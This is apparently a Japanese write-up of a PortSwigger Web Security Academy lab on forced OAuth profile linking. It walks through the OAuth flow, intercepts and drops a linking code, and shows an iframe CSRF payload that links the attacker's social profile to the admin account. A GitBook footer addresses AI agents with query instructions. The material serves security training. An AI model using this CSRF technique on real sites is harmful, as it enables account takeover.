> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/oauth-authentication/forced-oauth-profile-linking.md).

# 強制的なOAuthプロフィール連携

強制的なOAuthプロフィール連携の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### 強制OAuthプロファイルリンク

**ラボの説明**

このラボでは、従来の認証の代わりに OAuth を使って、ソーシャルネットワークのプロフィールをユーザーアカウントにリンクする機能を提供しています。/ クライアント側の OAuth フローの実装が不十分なため、攻撃者はこの仕組みを別のユーザーのアカウントに自分のソーシャルプロフィールを関連付けるように転用できます。

目的:/ CSRF 攻撃を実行して、あなたのソーシャルネットワークプロフィールをサイト管理者アカウントにリンクし、その後管理パネルにアクセスしてユーザーを削除する **carlos**.

制約：

* 管理者は、操作サーバーから送信されたあらゆるコンテンツを必ず開きます。
* 管理者は常にブログサイトでアクティブなセッションを持っています。

**利用可能なアカウント**

* サイトアカウント： `wiener / peter`
* ソーシャルネットワークプロフィール： `peter.wiener / hotdog`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f035e4e95319e6757c7a1e87077265181f1037c5%2F%7B9B021944-FC9E-4C73-9DB7-08132E7AB7A7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**OAuth メカニズムの分析**

* サイトでは、ログインとパスワードによる従来の接続が可能です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba26aa06f7e7a6eb53ec0e16036cac8d7c821788%2F%7BBDD5638A-9B29-4D3C-9D5D-18C54D3C0CCD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

OAuth（ソーシャルネットワーク）による接続も利用できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94127a5d88b079dc764f6d5a1958c3ab1a4c3470%2F%7B89AC4528-028A-406A-BC4C-451101EF9EE2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 既存のユーザーは、自分のアカウントにソーシャルネットワークのプロフィールをリンクできます。

リンクの際、認証ポイントに OAuth クエリが送信されます：

{% code overflow="wrap" %}

```http
GET /auth?client_id=s4z8vs36ubaet908r8qfn&redirect_uri=https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

認証後、ユーザーは OAuth コードを含む URL にリダイレクトされます：

```http
GET /oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q HTTP/2
```

このコード：

* 1回限りで使用可能
* 現在認証されているアカウントに OAuth プロフィールをリンクするためのもの

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-692233e9b1403f7ec3737a434e7922743f4c53d2%2F%7BA9D8B5BA-F9CD-40E4-BD38-AFF0BBAC7822%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**脆弱性の悪用**

1. あなたのアカウントとソーシャルネットワークプロフィールのリンク手順を開始します。
2. を傍受してコピーします `/OAuth-linking?code=...` URL。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6470d69b54bb159a57db680b2c5c21efab01392%2F%7BECCD32A8-D5CE-4500-839C-4FB22D160CDE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

コードが消費されないように、リクエストを破棄します。

操作サーバーから、この URL を CSRF 攻撃で管理者に送信します。たとえば iframe を使用します

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q"></iframe>
```

{% endcode %}

管理者がページを読み込みます：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7b2d3569773c57462ea3dac9900b7f5bd3d69da%2F%7B330F7921-1FBF-42B5-B2E6-1092A03CEAF4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

OAuth コードが消費される

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81b2b362756a441e936a6a63f69152ede9210982%2F%7B90C1F5AB-FC90-4ABF-A46B-A30DD3BA4409%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

攻撃者の OAuth プロフィールが管理者アカウントにリンクされる

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19ed647e1493f7cf7e48fdd225ddb53ac8e15212%2F%7B1FF37DFD-0799-4E65-B448-ABD61F14B3AF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/oauth-authentication/forced-oauth-profile-linking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
